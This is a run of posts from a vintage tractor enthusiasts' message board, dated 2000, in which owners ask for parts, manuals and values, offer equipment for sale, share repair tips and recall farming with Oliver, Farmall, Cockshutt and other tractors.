Mark Geiger wrote on Wednesday, October 04, 2000 (PDT):Have just purchased a 1941 Oliver 70RC last weekend at an auction in eastern Wisconsin. Have been searching for years for the right deal and it finally happened. It was not run for many years but we did get it started the day after the auction--will need some work.Sheet metal is straight and not corroded any where--just surface rust all over.Has 11x40" tires on it--are there new tubes available for this size ? Tires? Lots of fun filled opportunities ahead.
R . Fultz wrote on Wednesday, October 04, 2000 (PDT):This is a very nice bo lindeman. Is it for sale? I am looking for a late model with lights. Must be in very good condition.E mail any commets or replys.
Rex Bolliger wrote on Wednesday, October 04, 2000 (PDT): Those two holes on right of hood is how you oil your generator. For those interested, put a power steering unit on left side front of motorand run it off front shaft. My '47 cub has that and it works great. Build mounting to hold the pump.
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
kelly giesbrecht wrote on Wednesday, October 04, 2000 (PDT):I had a 1953 c-40 cockshutt / buda 6 banger. It was a great tractor but sold it as i didn't use it much. I still have the front end-loader complete with working cylinders,hydrolics mounts,and pto pump. It worked the last time it was used but it needs a new home.wetsideup at hotmail.com.
christy wrote on Wednesday, October 04, 2000 (PDT):I am looking for a antique toy or replica of the International Farmall "B" - please e-mail me if you know how to find one
Neal Alford wrote on Wednesday, October 04, 2000 (PDT):I am looking for a rear rim for a Farmall H that I have just purchased. Please e-mail me if you can help.
Rick Ross wrote on Tuesday, October 03, 2000 (PDT):Can anyone tell me why some Cockshutt 30 tractors are displayed with the rivets on the wide front end wheels to the outside as opposed to placing the rims on with the rivets on the inside. I have restored mine with the rivets on the inside however the vavle stems likewise are on the inside. To date no one can give me an answer to this question that makes any sense. I'm fussy about this sort of detail and would like to hear from someone who knows.
Rick Ross wrote on Tuesday, October 03, 2000 (PDT):Can anyone tell me why some Cockshutt 30 tractors are displayed with the rivets on the wide front end wheels to the outside as opposed to placing the rims on with the rivets on the inside. I have restored mine with the rivets on the inside however the vavle stems likewise are on the inside. To date no one can give me an answer to this question that makes any sense. I'm fussy about this sort of detail and would like to hear from someone who knows.
Goldwin wrote on Tuesday, October 03, 2000 (PDT):I would like to buy a front blade to fit the 51 Cub I'm having fun with.
Deon Nel wrote on Tuesday, October 03, 2000 (PDT):I am busy to restore a Farmall 100 Hi corp but cant get the chrome decalls can any body help me
Vince Manno wrote on Tuesday, October 03, 2000 (PDT):i would like to know about work shop manuals and book's on 0-14's. I own a 0-14 and i want to know were all the stickers and emblems go on it. I would also like a raditator,and raditator shutters and magneto. Thanks Vince
Vince Manno wrote on Tuesday, October 03, 2000 (PDT):Can you please send me all the info you have on this tractor (McCormick Deering 0-14)
David C. Baker wrote on Monday, October 02, 2000 (PDT):Re; Oliver 70 Standard I own one. I grew up driving it. I am 53 now, a university professor who took over the family farm when my dad died 4 years ago. Ours runs like a top. We used it in the haying this summer. It is a 6-cyl. engine, said to be an experimental high- compression engine. The "70" is said to come from 70 octane gas, which it used in the 40's. Ours was purchased in 1947 and it did all the farm work until 1964 when we added a Ford 4000 (which we also still have). We now use a New Holland TN75 for the major work on our farm in Southwestern VA. We used it to run a thrashing machine (a Frick model). The thing was a real powerhorse under the belt. I still have its 2-bottom plow, an Oliver Plowmaster (2, 16" plows). It leaks a little oil around the engine seals. I guess the seals have dry rotted. Otherwise, it's in tip-top condition. I've seen restored models of these run up to $6000. But they were really nicely fixed up.
ralph meyer wrote on Monday, October 02, 2000 (PDT):The first 500 Diesel i ever saw was a "509" power unit in a feed mill. I was just a seven year old kid from a hill farm where our "big" tractor was an SC. I wondered if I would ever see a real tractor with that great big engine. Now we have three 500s, two 400s,two 401s, and one 801 . All make sweet Case Diesel music . Does anyone have a grille for a 400 ?
JOHN PAUL JOHNSON wrote on Monday, October 02, 2000 (PDT):I'M LOOKING FOR A CARBURETOR FOR A MODEL C OR A REBUILT KIT THE CARBURETOR IS A CARTER AND I HAVE NO OTHER INFORMATION
Hank wrote on Monday, October 02, 2000 (PDT):I have a adjustable wide front axle off a 1950 Oliver 88 Row crop good cond. Make me an offer.
Sean Kelly wrote on Monday, October 02, 2000 (PDT):What a small world! The guy above, Trevor Oester, just happens to be my cousin. Just like my cousin said, grandpa owns one of the only 2 ironhorses left. I think Trevor was kind of wrong in some parts so I'll fill ya in. It was not illegal to use horse drawn farm equipment. Instead the Ironhorse was made to introduce farmers to mechanical farming. Its idea was to eventually replace the horse. The machine was driven just like a horse with reins while the farmer walked behind it next to the plow. The problem with it was it was kind of back heavy and when a farmer went up a hill it would tip over backwards and crush them. During WWI and WWII they were all melted down for use in the Army. Currently there are only 2 known Ironhorses, one which is missing parts and will never run again and the other (which my great grandpa has) is complete and running like brand new. He currently has it in storage and if I'm not mistaken it will eventually be on display at the Smithsonian Museum in Washington DC. The picture above is the exact tractor that my great grandfather owns and was probably taken at the Steam and Tractor show in Oregon State.
Gilbert Ray wrote on Monday, October 02, 2000 (PDT):Eric Frederick_I need both sides of the front grill. Both tractors have the same grill. Do you have them and would you sell them? How much? Thank you.
Neil talbot wrote on Monday, October 02, 2000 (PDT):I am restorig my dads Cockshutt 70 standard tractor{oliver}and need right & left front eng covers & both grilles,any help would be appreciated.Thanks
JIM WILSON wrote on Monday, October 02, 2000 (PDT):I HAVE A ONE SIXTY AND AM EXPERIENCING POOR HYDRAULIC RESPONSE ON THE 3 PT, EXSPECIALLY IN COLD WEATHER. I HAVE CHANGED THE FLUID AND FILTER ON TOP OF TRANSMISSION. NEED ANY SUGGESTIONS ON WHAT TO REPAIR OR REPLACE.
Duane wrote on Monday, October 02, 2000 (PDT):I am looking for a loader to fit my 504 Diesel row crop with a wide front end. Does anyone know what a 504 Diesel tractor is worth these days? It has a four cylinder diesel engine with about 45 horsepower, three point hitch with a T.A. Any comments are appreciated.
Paul wrote on Monday, October 02, 2000 (PDT):We have 3 1066's. One is painted red with white hoods and we call it white boy and it's been down the track many times. The other two are strong runners to. We also have a blackstripe 1466 that runs good. Why did the John Deere driver paint an IH emblem on his wily? The only way he could beat him!!!!!!
Duane Sanders wrote on Monday, October 02, 2000 (PDT):I use to have a 560 Diesel wide front. It was a good tractor for my farming operation of 320 acres. I was a fool to trade it years ago. I also have my Dad's tractor that he bought new in 1963. It is a 504 Diesel with a torque amplifier. I am interested in finding out what this tractor is worth. It is a row crop style tractor with a 3 point hitch also. Anyones input would be greatly appreciated. Thanks.
Pete wrote on Monday, October 02, 2000 (PDT):I have a Farmall 450 desiel and I need to open the pump up to get more power, can anyone tell me how to do that, thanks
C.W.Broughton wrote on Monday, October 02, 2000 (PDT):To; Dan Schloesser...installing the sycle bar mower is kind of tricky...pull it out so you have lots of maneuvering room set the mower so that the pto shaft/pulley is at right angle to mower blade...then drive your cub from the right up to and at 90 degrees to the pto shaft of mower or parrallel to the mower blade..pull up to the pto shaft pulley so rear wheel almost touches,hit your right brake and turn hard,pull forward so that rear right wheel almost touches the pitman arm/mower blade, then turn wheels to left and back up and align mower underneath tractor. Place a jack underpitman arm pulley/saddle bracket and jack up to meet the two bolts on the transmission case of tractor. Attach bolts.then remove three lower bolts on pto housing abd bolt pulley bracket there,be sure and put belt on pulleys as you do this. Last,tighten the "adjustment bolt on lower end of pulley bracket. See. it's easy !!
John Murray wrote on Monday, October 02, 2000 (PDT):Hi all, I need a seat and springs for my 1946 "B". Can anyone help me out with a deal? I'm not worried about "looks". I use my tractor with a continental belly mower to mow grass. Need something to sit on is all. thanks.
Herm Ritenour wrote on Monday, October 02, 2000 (PDT):My dad had two F-20s when I was growing up. They were on steel wheels and then put on rubber later.. Today I would be intrested in buying one on rubber.
Keith Shulda wrote on Monday, October 02, 2000 (PDT): I have a D-10 and would like any information on post hole diggers that are avalible,
TODD wrote on Monday, October 02, 2000 (PDT):I HAVE AFARMALL REGULAR TO RESTORE NEED INFO ON DECALS ENGINE PARTS AND THE SPECIFICS OF THE TRACTORi.e PAINT CODES MAG CARB DECAL LOCATION AND ALSO NEED SET OF STEEL WHEELS ANY AND ALL INFO WOULD BE APPRECIATED. THANKS IN ADVANCE.
C.W.Broughton wrote on Sunday, October 01, 2000 (PDT):To; Steve Dean your tractor is a late 1955 model To; Emile Picarella youi can get a manual from I & T (Intertec) P.O.Box 12901 Overland Park,Ks.66282-2901 To; Don Holden... your set screw on the front of the governor needs to be re-set for pulling (high speed)...loosen the nut and set it about 3 turns in.. I set mine and it plows like a champ!!
C.W.(Jim) Broughton wrote on Sunday, October 01, 2000 (PDT):To;Andy Martin; re;Carb.. on the bottom of the float chamber is a long,round valve;on the outside it looks like a hex nut..unscrew it and remove...look at the end of the cylinder and there is a tiny hole...it is stopped up..clean it out with a sewing needle(small)re-install and she should run beautifully!!
Dan Osbern wrote on Sunday, October 01, 2000 (PDT):I have a 1947 8N tractor, and I love it! I am going to start restoring it this winter. I was thinking about changing it over to a 12 volt system is there any advantage in this change. My tractor is still has a 6 volt system and it works great. Other than the leaking seals in the back wheels and no brakes, it runs great. I use it for brush hogging, finish mowing, box blading and I even have a scoop for the three point and a boom pole. Its a little work horse, I don't know what I'd do with out it. Any info on the 12 volt system would be a great help. Thanks Dan
tom beall wrote on Sunday, October 01, 2000 (PDT):Hi, Maybe someone here canhelp me identify a flathead v-8 I have. It's of the 49 to 53 design, is yellow, has k 393 on block above bellhousing, has eab heads with L262 on right head.I can't find an automotive code for k393 and the color isn't right either. ford did make an industrial motor in yellow. Is the code industrial? if anyone knows e-mail me with any info you may have. thanks Tom Beall
Chris wrote on Sunday, October 01, 2000 (PDT):Hello, my father owns an Oliver tractor. I believe that it is a 1965 Oliver 770 Row Crop. Does anyone know where I can get replacement decals for it? Chris
Tony c wrote on Sunday, October 01, 2000 (PDT):have 1943 VAI CASE is it 6 volt
David Payne wrote on Sunday, October 01, 2000 (PDT):Last week I purchased an International,utility? transverse front spring, dual rear 24" wheels and a Hough scraper and bucket. Runs but needs carb work, engine strong. Any information or comments appreciated on what I have. Thanks, Dave
Joyce wrote on Sunday, October 01, 2000 (PDT):I have a set of fenders never been used was taken off when bought and stored will fit any JDeere,They were on a 1940 and have the original bolts also,Make me an offer.
Stuart MacFarlane wrote on Sunday, October 01, 2000 (PDT): I own my grandfathers 1938 F14 on steel, totally reconditioned runs like new. What is this Coca-Cola? I know where one can get rubber mounted wheels and also steel covers designed to go go over rear wheel spikes so you can drive on pavement.
Ken Readman wrote on Sunday, October 01, 2000 (PDT):IHC made some of the worlds best tractors thats why we have three i-20s two A one Cub,H two Ms two W4s,W6,WD6,all restored All so have a three speed compound 8hp Burrell traction engine works number 3348 1911
Destry Earling wrote on Saturday, September 30, 2000 (PDT):I have a International Harvester TracTractor. It is a Diesel that starts on gas and has an electric starter. It is unstyled. I think it is a TD-35, yet I can find no serial number to comfirm. Could somebody tell me where to look for serial number or other identifying features.
Dave Wessel wrote on Saturday, September 30, 2000 (PDT):Can't find tune up specs for Super 55 gas model. Can any one help?
Brad Hamil wrote on Friday, September 29, 2000 (PDT):I have a 1026. I am looking for some trim pieces that extend along the hood. The pieces are approx 43 inches long and have the word International in raised letters. I also need the model number 1026 in raised numbers. Any al all response will be appreciated Brad
Eric Frederick wrote on Friday, September 29, 2000 (PDT):I have e-3 co-op running tractor and a cockshut 30 parts tractor , be interested in selling various pieces off of the cockshut.
Bob wrote on Friday, September 29, 2000 (PDT):I have a 1937 JD(B) with F&H aftermarket spoke wheels. Wheel serial# are; HC1250. Have 10 spline axle, wedges are bad. Can you tell me if there is different size wedges, or if there is a standard wedge? If anyone can give me information where I can locate them, I would greatly appreciate it! rwnovak at concentric.net
Grandma wrote on Friday, September 29, 2000 (PDT):They same "time heals everything." In 1956 my mom and dad went to Minnesota for the weekend to look for a farm as in southern Iowa there was a drought - we were buying water for ourselves and our animals at that particular time; I was left in charge of milking cows for the weekend. On Sunday afternoon I decided to take the Oliver 70 for a ride through town (it was not unusual for me to drive it - I had driven the Oliver when making hay and even cultivated for dad sometimes). However, I did not know that dad was in the process of changing oil - the oil had all been drained out; after I arrived on the main street of a small town where everyone knew everyone - fire started coming out of the chimney; I wish I had stopped then and there, but I thought I had to get home - about a mile away. Bottom line -tractor was ruined; I thought my reputation was ruined forever as I and everyone else knew what I had done. My dad was more understanding about it than I would have been. God bless him. It was our only tractor so he had to purchase another tractor in order to get the crops in that Spring - and money was tight. This has been a "off limits" subject with me for many years - now I wish I knew if there were "note cards" with the Oliver 70 picture on the front - and if not the Oliver 70 - just any Oliver - for sale anywhere.
Jrgen Carstensen wrote on Wednesday, September 27, 2000 (PDT):Ich habe einen Super Dextar Bj.63 und werde ihn im kommenden Winter restaurieren. Er ist in einem sehr guten technischem Zustand, wurde aber einmal komplett berlakiert. Jetzt suche ich Kontakt, um an Infos fr mein Vorhaben zu kommen. Zum Beispiel wrde ich gern einen Originalsitz einbauen und in Originalfarben lackieren. ber Antworten wrde ich mich freuen.
Ralph Turmel wrote on Tuesday, September 26, 2000 (PDT):I have a fordson major for sale with a Lord front bucket for sale $1000.00 anyone interested located in Fort Plain New York thanks
Ray Uson wrote on Monday, September 25, 2000 (PDT):Did any of the Allis Chalmers tractors have 3 point or a PTO?
Wild Bill wrote on Monday, September 25, 2000 (PDT):My stupid-head brother tried to jump start my 8n the other day with his truck. Well, i guess it didnt work and now i cant get it started. What would have gotten fried in the idiotic process that i can fix to get it going..I need to get my pumpkins to the farmstand!!!
Jeff S. wrote on Monday, September 25, 2000 (PDT):looking for a copy of a service manual and a parts manual for a International Farmall F-12 model. I would like to see these copies on the net before I buy them. I need help on any information on locating these items.
Kevin wrote on Monday, September 25, 2000 (PDT):I recently recently bought 1954 Farmall Cub #170789 with a 4' woods mower. I'm trying to locates a clutch, pressure plate and throw out bearing. The tranny does want to do into gear without the crunch. Can any one help me out. Thanks guys.
Mike Johnson wrote on Sunday, September 24, 2000 (PDT):My grandfather bought a new D15 Series II around '63. I bought the tractor from his estate in '85. This year my father & son worked with me to restore the tractor with AC paint and decals. Recently, a problem has developed in the torque shaft area. The tractor has been broken down and I'm in need of shaft assembly parts. It's a challenging project but, thanks to the help of an Allis addicted mechanic maybe we'll make it with a some luck. If you know a D14 or D15 that is being parted, let me know. mikej1767 at aol.com -or- 615 443 8633.
Blaine Griggs wrote on Sunday, September 24, 2000 (PDT):Just purchased a 1950 Rowcrop at a farm sale on 9-4-2000.The first thing I did was chisel the muffler off so I could hear that sweet sounding 4-53 Detroit thru a straight pipe like I used to back in 1970-73 when a 1966 model 1950 was the main tractor on our farm.We also pulled this tractor in the 15,000# class and it was a crowd favorite.Sure am having fun with my newly purchased 1950 and will always keep it.Been pulling a 21 ft Krause disk with it.
LARRY BAKER wrote on Sunday, September 24, 2000 (PDT):I AM IN THE PROCESS OF RESTORING A O-12.IF ANYONE HAS ONE DONE THAT HAS SOME PICTURES TO SHARE PLEASE DO SO .THE ONLY ONE I'VE EVER SEEN IN A SHOW WAS IN FL.
Bud Gallant wrote on Sunday, September 24, 2000 (PDT):I am trying to locate implement manauals for my Farnall Cub. I purchased it recently I purchased it recently and with it I have ground plows, sicle bar mower springtooth harrows and cultivators. Any help will be appreciated.
Rick Freese wrote on Saturday, September 23, 2000 (PDT):Help! Have a good F-14 ready for paint. I'm looking for 9-40 or 10-40-inch tires (used in good condition). Please e-mail with location/price. Need a pair.
Jack Hitt wrote on Saturday, September 23, 2000 (PDT):I have a SD-3 Sheppard and I'm trying to find a head gasket. Can you help me or steer me in the right direction. So far, you have been the only site to even list the Sheppard.
chuck wrote on Friday, September 22, 2000 (PDT):We have two 1066's one with a cab and one with out. both have straight pipes on them chrome. both turned up. the one with out the cab is the best and has the most power it would run circles around the JD's in road gear easly
Daniel Johnson wrote on Friday, September 22, 2000 (PDT):International did not sell thier engines. The company continued as Navistar International. The engines are in Navistar as well as other trucks such as the Ford F250 diesel trucks. The last time I looked at the statistics Navistar was the second largest supplier of diesel engines in North America second only to Cummins.
Betty Rambo wrote on Friday, September 22, 2000 (PDT):My husband and I have a MM U, which my dad bought new. I am not sure what year, somewhere in the 50's. We would like to have it restored. Do you have any information on where parts can be purchased? Right after my dad bought the tractor a neighbor boy rolled it over so it could use a new hood. Any information you may have would be appreciated. We live in Nashport, OH
junior wrote on Thursday, September 21, 2000 (PDT):I just bought a oliver 550.The numbers on the sideplate are 55-2205 and 162399-019.I think is a 1965? Can anyone confirm this? It is a desial.Also can anyone tell me the horse power? I look forward to hearing from you. Thank you jr.
Mike Bolf wrote on Tuesday, September 19, 2000 (PDT):I need to know the horsepower and if the super 55 has live p.t.o. I plan on maintaining logging trails and a long driveway, and need to know if this a dependeable tractor.
Kent Aschenbrenner wrote on Monday, September 18, 2000 (PDT):I bought an 880 deisel right from these classifieds last December and it's one of my favorite tractors in my collection. That deisel sound can only be made by six cylinders and will NEVER sound like the other green. I love it!!
chris hale wrote on Monday, September 18, 2000 (PDT):i recently located an oliver 80 row crop tractor.i have the opportunity to purchase this tractor if i can come up with a fair offer.if anyone out there can give me an estimate i would greatly appreciate it.this tractor is running well and has been restored approx. 10 years ago
P.Getman wrote on Sunday, September 17, 2000 (PDT):In the late 60's early 70's my father purchased an 3 cylinder Sheppard Diesel. It had a hand plunger device to inject fuel oil directly to the cylinders to fire the engine up. But most of the time we towed the thing to get it going. Once running, we kept it running all day. The power was decent and it did all our hay. One time the rod broke and luckily we purchased another one from Pennsylvania. ANother time the bull gear lost some teeth, so we put another one of those in. Then the pinion went and we put another of those in. I guess these Sheppards were versatile according to many people. Easy to repair...ect . , but after a while the Real Metal Seal would leak engine oil. Being OEM it was hard to get parts that worked. It was our main tractor for 20 years. Big batteries were needed to fire it up. The PTO would run all the time so we would hook the PTO up Before starting. Then it would have a tremendous drag. But after a little running, things would loosen up. The best advantage was that it was live hydraulics and 8 speeds ahead and two reverse's. The Rear End was Cockshutt so the parts needed were available. There is a Sheppard Day down in Pennsylvania I hear and the owner, Mr. Sheppard comes and visits. I hear the Sheppard Company only made thru it's history less that a 1000 tractors.
Hannes Weilbach wrote on Sunday, September 17, 2000 (PDT):The Fordson name stoped in 1964. The first world series Fords was in 1965, Ford Dexta 2000, Ford super Dexta 3000, Ford Major 4000, Ford Super Major 5000
Glenn wrote on Sunday, September 17, 2000 (PDT):The D21 was one of the best-looking machines A-C ever built. Someday I'm going to have one . . .
DANIEL MORROW wrote on Saturday, September 16, 2000 (PDT):I HAVE A SUPER 55 AND PURCHASED IT ABOUT 2 YEARS AGO. SINCE I HAVE HAD TO REPLACE THE PTO CLUCHES AND AM FINDING OUT IT IS HARD AND EXSPENSIVE FINDING SHEAT METAL FOR THIS TRACTOR.IT`S HAD A NOISE IN THE ENGINE SINCE I`VE HAD IT AND FOUND OUT IT WAS A WRIST PEN BUSHING GONE ON #2 CYLINDER. GETTING IT BACK TOGETHER THOUGH AND EXCITED TO HEAR IT PURR..STILL NEED MIDDLE HOOD STRIP DOOR.ANYONE HAVE ONE CHEAP HAHA LET ME KNOW..
jim cash wrote on Saturday, September 16, 2000 (PDT):What a nice looking checkerboard!I have it's littler bro, a 1960 1800 Diesel,but I really love those old Detroits. Mine has a Schwartz wide front,Row Crop model.These were some of the last tractors made by Oliver before White.
Cass wrote on Friday, September 15, 2000 (PDT):I am in the process of purchasing a farmall H, Can someone out there tell me how hard it would be to find some implements for this beauty? Also where to get them?
doug wrote on Thursday, September 14, 2000 (PDT):my 550 gas has a terrible problem of overheating.i have replaced the radiator,the water pump,the radiator cap,and had the head completely re-done,but still has overheats! could anyone please tell me what i can do to fix this problem. i surely would apreciate it! thanks-doug
Erik Irwin wrote on Tuesday, September 12, 2000 (PDT):i'm 16 and i have reacenly bought a massey harris 55k i have completely restored the massey by myself i have over hualed the engie which is a 382 contenital and have totally redone the pait it is a rice and cane model with a hand clutch in it i have been to 2 shows with it this year so far if u would like pictures please e-mail me thanks
Joby wrote on Tuesday, September 12, 2000 (PDT):I recently purchased an 880 diesel. It runs out great but goes into the upper gears hard. Is this typical with the 880?
John Ne... wrote on Monday, September 11, 2000 (PDT):Sept.00,, Rumley also built a most curious tractor that the final drive and rear wheels could be rotated forward and locked, positioning the drive wheels in the center of the tractor. the front axle was then removed, and a trailwheel attached to a rear implement supported the tractor, steering was then with brakes, fellow name of Keenan in Omaha has 2. restored and takes them to Camp Creek show in Nebraska.
charlie wrote on Monday, September 11, 2000 (PDT):hi ! about a year ago i started rebuilding my oliver 60 row crop. you have my article. maybe six mo. ago i purchased a steering wheel from you. the wheel has open spokes, as in just the outer wheel is covered, i returned , no problem. now i want to know if you can get the wheel like mine. all the wheel is covered. their is a center which is open where a metal cap , like a horn button on a car, goes. the tractor is 95% back too original, cloth wires, all body parts. etc. this wheel is my problem . if you don't have it can you steer me somewhere where it might be ? also looking for the 6" head lite ring. it holds the lense on the lamp. i have one but it fell off, got ran over and flattened out. you could save me some tin knocking if could find one. thanks charlie !!!
Delbert Robbins wrote on Monday, September 11, 2000 (PDT):I am looking for clutchs for a T340 gas IH crawler Tractor I do not know the year
Tom wrote on Monday, September 11, 2000 (PDT):I have a 1948 AC Model B for sale. Located in North Louisiana. Restore or use as is.
Ralph Sprenger wrote on Monday, September 11, 2000 (PDT):I have two M5's, both 1962 Diesels. One needs to be rebuilt (next year's project) but the other one is in great shape (shedded all it's life). I used to drive these when I was a young lad on the farm out in western Canada....all I need now is the farm to go with it. The M5 has always been my favourite trator...lot's of horsepower for the size. I would really like to see all the M5 owners get together sometime...maybe next year at one of the shows...any interest out there?
Matt Mathis wrote on Sunday, September 10, 2000 (PDT):I have a Diesel Super 55 that I have enjoyed for about 5 years on my property in northern California. I almost cried this Saturday when I apparently blew the ring and pinion. I blocked it up and will begin tear down. Any help on where I can get parts will be greatly apperciated. My 55 has a front loader and a "Pippin" Back Hoe attachment. I can't live without it. Help.
Ron Mogle wrote on Sunday, September 10, 2000 (PDT):I have leaking intake-exhaust manifold gasket and need to take it off. Is thee a secret to taking off the nuts that hold it on? I know they have been on there for 50 years and I don't want to break the studs in the head off. Thanks to anybody that might have a suggestion. I have been spraying them for a couple of days with W-D 40 and Knock Loose.
Robert Joy wrote on Saturday, September 09, 2000 (PDT):I have a D-15 series II. We also have a 175 both are good tractors and are used around the still. Although the 175 is getting tired. My dad had these as long as i can remember and he passed away 2 years ago and in his memory we`ll keep them going. I personally love the D-15 she may be old but like timex says keeps on ticking.
HECTOR MENDEZ wrote on Saturday, September 09, 2000 (PDT):I BUY AN OLIVER MODEL 1800 BUT I DON'T KNOW THE YEAR.I WOULD LIKE TO KNOW ANY INFORMATION.(EVERYTHING)OF THE TRACTOR.I LIVE IN PUERTO RICO.I AM PLANING TO RESTORE THE TRACTOR.I HOPE YOU CAN HELP ME.romillo at hotmail.com
jeremy smith wrote on Saturday, September 09, 2000 (PDT):I grow up drivin red the only tractor i like is this nice 1066 i need help findin one in my area.
Roger Rowe wrote on Saturday, September 09, 2000 (PDT):I have a Oliver 770 Row Crop gas engine. Would anyone happen to know what year this serial number is 81-921-736? I can't seem to find the year of this tractor.
tom dixon wrote on Saturday, September 09, 2000 (PDT):i have a massey harris 4wd, a 1930-1935 model, i was wondering were i could get an engine for it, the block has been welded on mine, and it is also seized. any help would be appreciated.
Larry Day wrote on Saturday, September 09, 2000 (PDT):I have an Allis Chalmers D-14 1950's that the motor has blown. Looking for motor with heads, complete.
nicholas tsimekles wrote on Friday, September 08, 2000 (PDT):I have a super dexta, it's hard starting and i'm afraid it needs a rebuild. ay sugestions on where to go for parts. It smokes but still pulls strong. The fuel pump to injector pump conection started to leak. the mounting surface was cracked. My father replaced it with an electric fuel pump. solved that problem. I;ve had the hydraulics apart and it's a pretty straight forward unit, not as complex as the david brown 990 in the yard.
Ronald Hughes wrote on Friday, September 08, 2000 (PDT):What is the price for a W4 International, that runs but needs to be restored? Please e-mail me and let me know as soon as possible?
Mike Fogel wrote on Thursday, September 07, 2000 (PDT):We just got a 1956 cockshut 40 running and are looking for decals any help would be appreciated runs great and fun to drive also need the colors
Chuck Petrie wrote on Wednesday, September 06, 2000 (PDT):Hi! I have a Leader tractor, Model B (Serial #47202) with a Hercules engine. I'm looking for a gearshift lever assembly for it. According to the Leader tractor parts manual I have, the part number is 47332. Does anyone have a gearshift for sale or know where I can find one. Thanks.
pam wrote on Wednesday, September 06, 2000 (PDT):I am trying to find a pictures of the steering control box so I can put it in time after installing new bearings.
Brion Hackbarth wrote on Wednesday, September 06, 2000 (PDT):I have to comment that all red power tractors are the best tractors ever made. The 66 series tractors to me are the best looking tractors out their even today. I have only farmed with red power tractors such as a H, 300, 560, 706, 756, 856, (My Favorite), and 1086. These are tractors we have on our farm. I can attest to you that by operating these awesome machines that their is no reason to operate any other. The IH engines is what made the tractor, because they had the best diesel engine on the market at the time. I just want to know who bought the engine works plant of IH. I know Tenneco bought IH farm equipment, but am wondering if the IH engine legacy is still thriving in another engine maker?
russ p wrote on Tuesday, September 05, 2000 (PDT):Im trying to locate a good used bench seat to replace the pan seat on my 140,also im trying to find a decal set to complete my restoration.
dave shockley wrote on Monday, September 04, 2000 (PDT):I have a 1949 JD-MT in great condition also have plow for sale 3500.00 I can e-mail pics for interested parties
Bart Camps wrote on Monday, September 04, 2000 (PDT):My buddy just bought an Enfo Dexta. He doesn't have a manual and he was wondering what type of hydraulic fluid, tranny fluid and rear end oil it uses. thanks
rhonda wrote on Monday, September 04, 2000 (PDT):grandpa, I bought bought a Leader for $75. b/c I thought it might be worth soemthing b/c I have never seen one. Come to find out they are hard to find but not really worth anything that much. It just wasn't a big name in the tractor business I guess. I have seen some sell on the internet for $400-$600 maybe a little more. I'm not real sure. But you can always say you have something that not to many other people have. If you know where some parts can be located for one please let me know. Good luck.
John Dawson wrote on Sunday, September 03, 2000 (PDT):I have a McCormick 560 L.P.gas with wide front end. Where do I look to find the serial number? The L.P. tank was made in Lubbock Tx. in 1959. Model #S10321HC for IH # 371775R91, but no tractor serial number. I need to know where I can get a manual so I can fix the machine. It just quit one day coming back from shredding a small pasture. I think it is electrical but don't know a thing about it. Need help! Great running machine, I just don't know what I have.
Ellis Weicht wrote on Saturday, September 02, 2000 (PDT): URGENT-ASSISTANCE NEEDED IMMEDIATELY!!!! I have a tractor that says Fordson Dexta across the grill and then it says Ford 2000 on the sides of the hood, my problem is this; how do I tell if its a Fordson Dexta or a Fordson Super Dexta without tearing it apart, is there a serial number list or something that could tell me what I have. Any help would be greatly appreciated.
Gabriel J. Vieira wrote on Saturday, September 02, 2000 (PDT):I have 2 L model 1937's and a 1940 DC wide front..Looking for stock pistons and sleeves for the DC any help would be appreeciated..One of the L's is electric start..
D Austin wrote on Friday, September 01, 2000 (PDT):Looking for info on a 1954 550 it has a serial number 519
Alvin Ellefson wrote on Friday, September 01, 2000 (PDT):I own a #40 Cockshutt also; looking for a block for it.
Lowell Mc Collough wrote on Thursday, August 31, 2000 (PDT):need steering clutch pts for ihctd18
Josh wrote on Thursday, August 31, 2000 (PDT):Anything in the 66 series rules but the 14 is the best. We've used our 1466 to pull semis and other vehiles out of ditches. A great tractor.
John A. wrote on Wednesday, August 30, 2000 (PDT):Chris, Go For IT ! Go to a farm sale , equipment dealer, or wherever you can find a big ol'red darlin just like what your lookin for and get it. Take it home, move the wife's mini van out of the garage, then GET after it!......Even if you don't pull her at a local contest NO one else will have one on your block like her. You could park her in your yard, Tractors make great lawn ornaments you know, plus I promise you will be the talk of the home owners assa. Good Luck !
Chris Maxwell wrote on Wednesday, August 30, 2000 (PDT):As I sit at my desk, the picture of that old 10 sets me to wanting to be home helping my brother with the hay. Funny how I spent half of my childhood avoiding chores, but would give anything to work on the farm instead of at a desk in a "cube farm". At home, I've worked with a 1066 and a 1256. Sort of like the 1256 (maybe because it had a straight pipe). Would like to see a 1066 and 1256 go drawbar to drawbar. Thought it would be cool to get an old 1256, tune it up, paint it black, name it "4 minutes 'til 1" and go pullin. Maybe someday...
Clyde wrote on Wednesday, August 30, 2000 (PDT):I have a 1950 W-4 that I might sell but have no idea what its worth we have the orginal book that goes with it runs good
Jim Testerman wrote on Tuesday, August 29, 2000 (PDT):I have found an O-12. I would like to know the going price. The serial # is in the 500's, so it was one of the first ones manufactured of this type. The seller and buyer are waiting for your answer. Thanks--Jim
Willis Ayotte wrote on Tuesday, August 29, 2000 (PDT):I drove a 1940 Oliver Cockshutt 70 many miles. It still rins like a clock. It is still on the farm in Saskatchewan in a shed. My father baught it in 1940 for $1240.00 with starter lights and six speed trans.corner breaks and rubber tires. It has 201 six silnder motor operates at 1500 revs and1610 no load. Still have operators mamual for it.my nephue claims it now.It did tons of work till 1960. Would still do a ful day of work.
Judy wrote on Sunday, August 27, 2000 (PDT):looking to buy a D-12 series 3 Allis Chalmers tractor
Art wrote on Sunday, August 27, 2000 (PDT):I have an oliver 99 my dad got before he died. I am looking for info on it to restore it. Anyone know where I can look to find what I need to get her back in shape?
Phillip Batson wrote on Sunday, August 27, 2000 (PDT):M y father and i bought a1963 supper dexter with a perkins desiel .The only problem was the sterring is shot would like to find steering gears and an up draft manifold.
Donald Pitre wrote on Saturday, August 26, 2000 (PDT):can anyone give me the correct green paint# that goes on a 1928 case threshing machine.Thanks
Bob Hinkle wrote on Saturday, August 26, 2000 (PDT):I own a 1966 Model 1950 Oliver/W 453 Detroit. All 1950 Came stock with a GM Diesel. They make a good puller if you can put up with the defining noise and the oil. With every Detroit they should give you a can of D&L hand cleaner.
